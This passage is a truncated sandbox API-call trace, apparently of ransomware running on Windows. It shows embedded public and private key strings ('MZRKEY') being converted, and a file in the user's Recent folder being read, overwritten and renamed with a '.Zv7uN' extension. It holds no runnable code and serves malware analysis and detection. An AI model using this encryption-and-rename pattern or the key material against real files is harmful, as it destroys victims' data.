XChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0083.454] GetCurrentThreadId () returned 0xa30 [0083.454] GetCurrentThreadId () returned 0xa30 [0083.454] GetCurrentThreadId () returned 0xa30 [0083.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.455] GetCurrentThreadId () returned 0xa30 [0083.455] GetCurrentThreadId () returned 0xa30 [0083.456] GetCurrentThreadId () returned 0xa30 [0083.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Si93WyJ4VkIM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\si93wyj4vkim.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.456] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.456] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.456] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa4d [0083.456] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.456] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa4d, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa4d, lpOverlapped=0x0) returned 1 [0083.458] CloseHandle (hObject=0x124) returned 1 [0083.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Si93WyJ4VkIM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\si93wyj4vkim.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.460] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa4d, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa4d, lpOverlapped=0x0) returned 1 [0083.462] CloseHandle (hObject=0x124) returned 1 [0083.463] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Si93WyJ4VkIM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\si93wyj4vkim.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Si93WyJ4VkIM.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\si93wyj4vkim.lnk.zv7un")) returned 1 [0083.465] GetCurrentThreadId () returned 0xa30 [0083.465] GetCurrentThreadId () returned 0xa30 [0083.465] GetCurrentThreadId () returned 0xa30 [0083.465] GetCurrentThreadId () returned 0xa30 [0083.465] GetCurrentThreadId () returned 0xa30 [0083.465] GetCurrentThreadId () returned 0xa30 [0083.465] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf74e4a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3179e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3179e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1962, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="SKcUK.lnk", cAlternateFileName="")) returned 1 [0083.465] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.465] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.465] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SKcUK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\skcuk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf74e4a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3179e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3179e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1962)) returned 1 [0083.465] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SKcUK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\skcuk.lnk")) returned 0x20 [0083.465] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SKcUK.lnk", dwFileAttributes=0x80) returned 1 [0083.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.469] GetCurrentThreadId () returned 0xa30 [0083.469] GetCurrentThreadId () returned 0xa30 [0083.469] GetCurrentThreadId () returned 0xa30 [0083.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 